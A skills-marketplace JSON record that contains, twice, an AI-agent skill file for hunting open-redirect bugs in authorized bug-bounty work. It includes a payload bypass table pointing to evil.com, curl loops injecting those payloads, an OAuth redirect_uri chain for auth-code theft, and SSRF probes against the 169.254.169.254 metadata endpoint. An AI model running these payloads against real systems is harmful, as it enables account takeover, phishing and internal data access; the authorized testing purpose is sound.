[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6P65RF3ETC2WN2YS3RGT0VB":3,"skill-same:01M6P65RF3ETC2WN2YS3RGT0VB":75},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":22,"publishedAt":43,"linkOnly":44,"markdownContent":45,"markdownBody":46,"frontMatter":47,"refName":33,"commitSha":56,"skillDirectory":57,"forksCount":13,"repositoryHtmlUrl":58,"repositoryHomepageUrl":6,"ownerHtmlUrl":59,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":60,"install":61,"resources":74},"01M6P65RF3ETC2WN2YS3RGT0VB","hunt-open-redirect",null,"Hunt Open Redirect","duc-duy-1612\u002FOnline-Delivery-Systems-Web","duc-duy-1612","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F192231384?v=4","01M6NSDKQQDKVTHZ8DZMZ1VYY6","01M6NSDKW8DDVTQHBT1HBDDJPT",0,"MIT","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-open-redirect\u002FSKILL.md",[17],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42],"hunt open redirect","open","hunt","for","testing","relevant","helper","scripts","scope","commands","main","community","only","public","https","license","testing tools","security","github","docs","2026-11-10 10:12:30",false,"---\nname: hunt-open-redirect\ndescription: Hunt Open Redirect\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nsources: hackerone_public\nreport_count: 28\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-OPEN-REDIRECT — Open Redirect\n\n## Crown Jewel Targets\n\nOpen redirect alone is Low. Chained to OAuth = Critical (ATO).\n\n**Highest-value chains:**\n- **Open redirect → OAuth auth code theft** — redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO\n- **Open redirect → phishing** — users trust the URL because it starts with target.com\n- **Open redirect → SSRF escalation** — if redirect followed server-side → SSRF\n- **Open redirect → session fixation** — force user to login endpoint with pre-set session\n\n---\n\n## Attack Surface Signals\n\n```\n?redirect=\n?next=\n?url=\n?return=\n?returnTo=\n?continue=\n?dest=\n?destination=\n?go=\n?forward=\n?location=\n?target=\n?redir=\n?redirect_uri=\n?callback=\n?checkout_url=\n?success_url=\n?cancel_url=\n\u002Flogout?returnTo=\n\u002Flogin?next=\n\u002Fsso?callback=\n```\n\n---\n\n## Bypass Table\n\n| Technique | Payload |\n|-----------|---------|\n| Basic | `https:\u002F\u002Fevil.com` |\n| Protocol relative | `\u002F\u002Fevil.com` |\n| Backslash bypass | `\u002F\\\\evil.com` |\n| At-sign confusion | `https:\u002F\u002Ftarget.com@evil.com` |\n| Double slash | `\u002F\u002Fevil.com\u002F%2F..` |\n| URL encoding | `%2Fevil.com` |\n| Null byte | `evil.com%00target.com` |\n| Whitespace | `evil.com%09` or `%20` |\n| JavaScript URI | `javascript:window.location='https:\u002F\u002Fevil.com'` |\n| Data URI | `data:text\u002Fhtml,\u003Cscript>window.location='https:\u002F\u002Fevil.com'\u003C\u002Fscript>` |\n| Subdomain | `https:\u002F\u002Ftarget.com.evil.com` |\n| Fragment | `https:\u002F\u002Fevil.com#.target.com` |\n\n---\n\n## Step-by-Step Hunting Methodology\n\n### Phase 1 — Discover Redirect Parameters\n```bash\n# Extract all redirect candidates from crawl\ncat recon\u002F$TARGET\u002Furls.txt | gf redirect > recon\u002F$TARGET\u002Fredirect-candidates.txt\nwc -l recon\u002F$TARGET\u002Fredirect-candidates.txt\n\n# Less common param names\ngrep -E \"(\\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)\" \\\n  recon\u002F$TARGET\u002Furls.txt >> recon\u002F$TARGET\u002Fredirect-candidates.txt\n```\n\n### Phase 2 — Basic Test\n```bash\nCOLLAB=\"https:\u002F\u002Fevil.com\"\ncat recon\u002F$TARGET\u002Fredirect-candidates.txt | qsreplace \"$COLLAB\" | while read url; do\n  LOC=$(curl -s -I --max-redirs 0 \"$url\" | grep -i \"^location:\")\n  STATUS=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" --max-redirs 0 \"$url\")\n  [ -n \"$LOC\" ] && echo \"$STATUS | $LOC | $url\"\ndone\n```\n\n### Phase 3 — Bypass Techniques\n```bash\nBASE_URL=\"https:\u002F\u002F$TARGET\u002Fredirect?url=\"\nPAYLOADS=(\n  \"https:\u002F\u002Fevil.com\"\n  \"\u002F\u002Fevil.com\"\n  \"\u002F\\\\evil.com\"\n  \"https:\u002F\u002F$TARGET@evil.com\"\n  \"https:\u002F\u002Fevil.com%23.$TARGET\"\n  \"https:\u002F\u002Fevil.com%09\"\n)\nfor P in \"${PAYLOADS[@]}\"; do\n  LOC=$(curl -s -I --max-redirs 0 \"${BASE_URL}${P}\" | grep -i \"^location:\")\n  echo \"$P → $LOC\"\ndone\n```\n\n### Phase 3b — DOM-based open redirect (client-side sink)\nServer-side `Location:` grepping misses redirects that happen purely in JS. Source (`location.hash`\u002F`location.search`\u002F`document.referrer`) assigned to a navigation sink.\n```bash\ngrep -rEn \"location *=|location\\.(href|assign|replace)\\(|window\\.open\\(\" recon\u002F$TARGET\u002F --include=\"*.js\" \\\n  | grep -iE \"location\\.(hash|search)|URLSearchParams|getParameter|referrer\"\n# Confirm in a browser (curl can't): open  https:\u002F\u002F$TARGET\u002Fpage#https:\u002F\u002Fevil.com  (or ?url=...)\n# Common shape:  var u=new URLSearchParams(location.search).get('url'); location=u;\n```\n(PortSwigger: DOM-based open redirection.)\n\n### Phase 4 — OAuth Chain Test\n```bash\n# If target has OAuth, check if redirect_uri accepts open redirect\ngrep -i \"oauth\\|authorize\\|redirect_uri\" recon\u002F$TARGET\u002Furls.txt | head -20\n\n# Construct OAuth URL with open redirect as redirect_uri\n# Normal: redirect_uri=https:\u002F\u002Ftarget.com\u002Fcallback\n# Attack: redirect_uri=https:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com\nOAUTH_URL=\"https:\u002F\u002F$TARGET\u002Foauth\u002Fauthorize\"\ncurl -sv \"$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https:\u002F\u002F$TARGET\u002Fredirect%3Furl%3Dhttps%3A%2F%2Fevil.com\" 2>&1 | grep -i \"location:\"\n```\n\n### Phase 5 — Server-Side Redirect (SSRF escalation)\n```bash\n# If the app fetches the redirect target server-side (302 fetch follow)\ncurl -s \"https:\u002F\u002F$TARGET\u002Fproxy?url=https:\u002F\u002Fevil.com\u002Fredirect-to-169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"\n\n# Or: if app makes HTTP request to the redirect destination\ncurl -s \"https:\u002F\u002F$TARGET\u002Ffetch?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\" \\\n  -H \"Cookie: $SESSION\"\n```\n\n---\n\n## Automation\n```bash\n# openredirex\npip3 install openredirex\nopenredirex -l recon\u002F$TARGET\u002Fredirect-candidates.txt -p evil.com\n\n# nuclei\nnuclei -u https:\u002F\u002F$TARGET -t redirect\u002F -severity medium,high\n\n# gf + qsreplace\ncat recon\u002F$TARGET\u002Furls.txt | gf redirect | qsreplace \"https:\u002F\u002Fevil.com\" | \\\n  xargs -I{} curl -s -o \u002Fdev\u002Fnull -w \"%{http_code} %{redirect_url}\\n\" --max-redirs 0 {}\n```\n\n---\n\n## Chain Table\n\n| Open redirect finding | Chain to | Impact |\n|----------------------|----------|--------|\n| Any open redirect | OAuth redirect_uri bypass | Auth code theft → ATO |\n| Any open redirect | Phishing URL with target domain | Social engineering |\n| Server-side redirect | SSRF via followed redirect | Internal service access |\n| Logout redirect | Session fixation | Force login with known session |\n\n---\n\n## Validation\n\n✅ Location header in response points to evil.com (your controlled domain)\n✅ Browser follows redirect to attacker-controlled page\n\n**Severity:**\n- Redirect alone: Low (most programs)\n- Chains to OAuth code theft → ATO: High\u002FCritical\n- Chains to phishing with brand name: Low-Medium\n- Server-side → SSRF: High\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-OPEN-REDIRECT — Open Redirect\n\n## Crown Jewel Targets\n\nOpen redirect alone is Low. Chained to OAuth = Critical (ATO).\n\n**Highest-value chains:**\n- **Open redirect → OAuth auth code theft** — redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO\n- **Open redirect → phishing** — users trust the URL because it starts with target.com\n- **Open redirect → SSRF escalation** — if redirect followed server-side → SSRF\n- **Open redirect → session fixation** — force user to login endpoint with pre-set session\n\n---\n\n## Attack Surface Signals\n\n```\n?redirect=\n?next=\n?url=\n?return=\n?returnTo=\n?continue=\n?dest=\n?destination=\n?go=\n?forward=\n?location=\n?target=\n?redir=\n?redirect_uri=\n?callback=\n?checkout_url=\n?success_url=\n?cancel_url=\n\u002Flogout?returnTo=\n\u002Flogin?next=\n\u002Fsso?callback=\n```\n\n---\n\n## Bypass Table\n\n| Technique | Payload |\n|-----------|---------|\n| Basic | `https:\u002F\u002Fevil.com` |\n| Protocol relative | `\u002F\u002Fevil.com` |\n| Backslash bypass | `\u002F\\\\evil.com` |\n| At-sign confusion | `https:\u002F\u002Ftarget.com@evil.com` |\n| Double slash | `\u002F\u002Fevil.com\u002F%2F..` |\n| URL encoding | `%2Fevil.com` |\n| Null byte | `evil.com%00target.com` |\n| Whitespace | `evil.com%09` or `%20` |\n| JavaScript URI | `javascript:window.location='https:\u002F\u002Fevil.com'` |\n| Data URI | `data:text\u002Fhtml,\u003Cscript>window.location='https:\u002F\u002Fevil.com'\u003C\u002Fscript>` |\n| Subdomain | `https:\u002F\u002Ftarget.com.evil.com` |\n| Fragment | `https:\u002F\u002Fevil.com#.target.com` |\n\n---\n\n## Step-by-Step Hunting Methodology\n\n### Phase 1 — Discover Redirect Parameters\n```bash\n# Extract all redirect candidates from crawl\ncat recon\u002F$TARGET\u002Furls.txt | gf redirect > recon\u002F$TARGET\u002Fredirect-candidates.txt\nwc -l recon\u002F$TARGET\u002Fredirect-candidates.txt\n\n# Less common param names\ngrep -E \"(\\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)\" \\\n  recon\u002F$TARGET\u002Furls.txt >> recon\u002F$TARGET\u002Fredirect-candidates.txt\n```\n\n### Phase 2 — Basic Test\n```bash\nCOLLAB=\"https:\u002F\u002Fevil.com\"\ncat recon\u002F$TARGET\u002Fredirect-candidates.txt | qsreplace \"$COLLAB\" | while read url; do\n  LOC=$(curl -s -I --max-redirs 0 \"$url\" | grep -i \"^location:\")\n  STATUS=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" --max-redirs 0 \"$url\")\n  [ -n \"$LOC\" ] && echo \"$STATUS | $LOC | $url\"\ndone\n```\n\n### Phase 3 — Bypass Techniques\n```bash\nBASE_URL=\"https:\u002F\u002F$TARGET\u002Fredirect?url=\"\nPAYLOADS=(\n  \"https:\u002F\u002Fevil.com\"\n  \"\u002F\u002Fevil.com\"\n  \"\u002F\\\\evil.com\"\n  \"https:\u002F\u002F$TARGET@evil.com\"\n  \"https:\u002F\u002Fevil.com%23.$TARGET\"\n  \"https:\u002F\u002Fevil.com%09\"\n)\nfor P in \"${PAYLOADS[@]}\"; do\n  LOC=$(curl -s -I --max-redirs 0 \"${BASE_URL}${P}\" | grep -i \"^location:\")\n  echo \"$P → $LOC\"\ndone\n```\n\n### Phase 3b — DOM-based open redirect (client-side sink)\nServer-side `Location:` grepping misses redirects that happen purely in JS. Source (`location.hash`\u002F`location.search`\u002F`document.referrer`) assigned to a navigation sink.\n```bash\ngrep -rEn \"location *=|location\\.(href|assign|replace)\\(|window\\.open\\(\" recon\u002F$TARGET\u002F --include=\"*.js\" \\\n  | grep -iE \"location\\.(hash|search)|URLSearchParams|getParameter|referrer\"\n# Confirm in a browser (curl can't): open  https:\u002F\u002F$TARGET\u002Fpage#https:\u002F\u002Fevil.com  (or ?url=...)\n# Common shape:  var u=new URLSearchParams(location.search).get('url'); location=u;\n```\n(PortSwigger: DOM-based open redirection.)\n\n### Phase 4 — OAuth Chain Test\n```bash\n# If target has OAuth, check if redirect_uri accepts open redirect\ngrep -i \"oauth\\|authorize\\|redirect_uri\" recon\u002F$TARGET\u002Furls.txt | head -20\n\n# Construct OAuth URL with open redirect as redirect_uri\n# Normal: redirect_uri=https:\u002F\u002Ftarget.com\u002Fcallback\n# Attack: redirect_uri=https:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com\nOAUTH_URL=\"https:\u002F\u002F$TARGET\u002Foauth\u002Fauthorize\"\ncurl -sv \"$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https:\u002F\u002F$TARGET\u002Fredirect%3Furl%3Dhttps%3A%2F%2Fevil.com\" 2>&1 | grep -i \"location:\"\n```\n\n### Phase 5 — Server-Side Redirect (SSRF escalation)\n```bash\n# If the app fetches the redirect target server-side (302 fetch follow)\ncurl -s \"https:\u002F\u002F$TARGET\u002Fproxy?url=https:\u002F\u002Fevil.com\u002Fredirect-to-169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"\n\n# Or: if app makes HTTP request to the redirect destination\ncurl -s \"https:\u002F\u002F$TARGET\u002Ffetch?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\" \\\n  -H \"Cookie: $SESSION\"\n```\n\n---\n\n## Automation\n```bash\n# openredirex\npip3 install openredirex\nopenredirex -l recon\u002F$TARGET\u002Fredirect-candidates.txt -p evil.com\n\n# nuclei\nnuclei -u https:\u002F\u002F$TARGET -t redirect\u002F -severity medium,high\n\n# gf + qsreplace\ncat recon\u002F$TARGET\u002Furls.txt | gf redirect | qsreplace \"https:\u002F\u002Fevil.com\" | \\\n  xargs -I{} curl -s -o \u002Fdev\u002Fnull -w \"%{http_code} %{redirect_url}\\n\" --max-redirs 0 {}\n```\n\n---\n\n## Chain Table\n\n| Open redirect finding | Chain to | Impact |\n|----------------------|----------|--------|\n| Any open redirect | OAuth redirect_uri bypass | Auth code theft → ATO |\n| Any open redirect | Phishing URL with target domain | Social engineering |\n| Server-side redirect | SSRF via followed redirect | Internal service access |\n| Logout redirect | Session fixation | Force login with known session |\n\n---\n\n## Validation\n\n✅ Location header in response points to evil.com (your controlled domain)\n✅ Browser follows redirect to attacker-controlled page\n\n**Severity:**\n- Redirect alone: Low (most programs)\n- Chains to OAuth code theft → ATO: High\u002FCritical\n- Chains to phishing with brand name: Low-Medium\n- Server-side → SSRF: High\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":48,"source":49,"license":14,"sources":50,"category":40,"date_added":51,"description":7,"source_repo":52,"source_type":34,"report_count":53,"compatibility":54,"license_source":55},"offensive","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","hackerone_public","2026-09-20","elementalsouls\u002FClaude-BugHunter",28,"Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","f3312ba749561b6159f477dbfc9313c875d40a56",".agents\u002Fskills_archive\u002Fhunt-open-redirect","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612","2026-10-25 23:50:58",{"source":8,"skillName":5,"commands":62,"prompt":72,"zipAvailable":73},[63,66,69],{"tool":64,"command":65},"npx","npx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-open-redirect",{"tool":67,"command":68},"bunx","bunx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-open-redirect",{"tool":70,"command":71},"pnpm","pnpm dlx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-open-redirect","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-open-redirect\u002FSKILL.md",true,[],[76,99,123,145,173,197],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":80,"categories":81,"keywords":85,"publishedAt":43},"01M6Q0FA5FZ410Z33Z3TFQ4DBA","zero-trust","Implement zero-trust network architecture. Configure identity-based access, micro-segmentation, and continuous verification. Use when implementing modern security architectures.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzero-trust\u002FSKILL.md",[82],{"categoryNo":83,"categoryName":84,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000011","运维与部署",[86,87,88,89,90,91,78,92,93,94,95,35,34,33,96,97,31,30,28,98],"ZeRO","trust","zero trust","architecture","assessment","verification","segmentation","devops-security","access","configure","active","critical","implementing",{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":43},"01M6Q0F1YZJW3KX5FBKEVZ8CV4","zcode-delegate","Delegate coding tasks to the Z.AI ZCode CLI only when the user explicitly requests it, while the orchestrator retains review and landing responsibility.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzcode-delegate\u002FSKILL.md",[],[106,107,108,109,110,111,112,113,114,115,116,117,118,35,119,34,120,121,97,122],"delegate","zcode","zcode delegate","review","cli","orchestration","tasks","run","Bash","model","node","read","orchestrator","files","desktop app","app","agent-orchestration",{"skillNo":124,"name":125,"nameZh":6,"description":126,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":127,"categories":128,"keywords":129,"publishedAt":43},"01M6Q0ETK41VGNMYEXW0T00AJN","youtube-transcript","Fetch YouTube transcripts through DeepAPI or local fallback tooling and save clean text output.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript\u002FSKILL.md",[],[130,131,132,133,41,134,135,38,37,136,137,138,139,34,33,140,141,142,143,144],"transcript","youtube transcript","youtube","safe","codex","research","text","fetch","tooling","clean","local","output","deepapi","youtube transcripts","blob",{"skillNo":146,"name":147,"nameZh":6,"description":148,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":149,"categories":150,"keywords":162,"publishedAt":43},"01M6Q0EPPH2PVMDW40017F8WX0","youtube-transcript-skills","Fetch YouTube video transcripts, search videos\u002Fchannels, browse channels, and extract playlists via the getyoutubetranscript.com API - free tier, no card required.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript-skills\u002FSKILL.md",[151,154,157],{"categoryNo":152,"categoryName":153,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":155,"categoryName":156,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000016","图像与多媒体",{"categoryNo":158,"categoryName":159,"taxonomyType":160,"taxonomyTypeDesc":161},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[130,131,132,163,133,164,41,134,38,165,166,167,168,137,169,34,33,170,171,172],"youtube transcript skills","gemini","search","api","Video","browse","api-integration","free","card","channels",{"skillNo":174,"name":175,"nameZh":6,"description":176,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":177,"categories":178,"keywords":183,"publishedAt":43},"01M6Q0EAB96PX83W5PTE8A0R8D","youtube-notetaker","Turn YouTube talks into local study notes with slides, transcripts, editable annotations, and a markdown-backed viewer.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-notetaker\u002FSKILL.md",[179,182],{"categoryNo":180,"categoryName":181,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":155,"categoryName":156,"taxonomyType":20,"taxonomyTypeDesc":21},[132,184,185,110,133,186,187,188,189,38,167,190,191,192,193,33,194,140,195,196],"youtube notetaker","notetaker","workflow","official","notes","code","markdown","slides","annotations","README","study","dair-academy","viewer",{"skillNo":198,"name":199,"nameZh":6,"description":200,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":201,"categories":202,"keywords":204,"publishedAt":43},"01M6Q0E55F0GW5MX48V8HXS8B5","youtube-full","Fetch YouTube transcripts, search videos, browse channels, and extract playlists via TranscriptAPI — no yt-dlp, no Google API key, works from any cloud server.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-full\u002FSKILL.md",[203],{"categoryNo":152,"categoryName":153,"taxonomyType":20,"taxonomyTypeDesc":21},[205,132,206,207,133,164,165,208,209,166,167,168,137,210,169,34,33,170,211,143],"youtube full","full","google","server","dlp","credits","automatic"]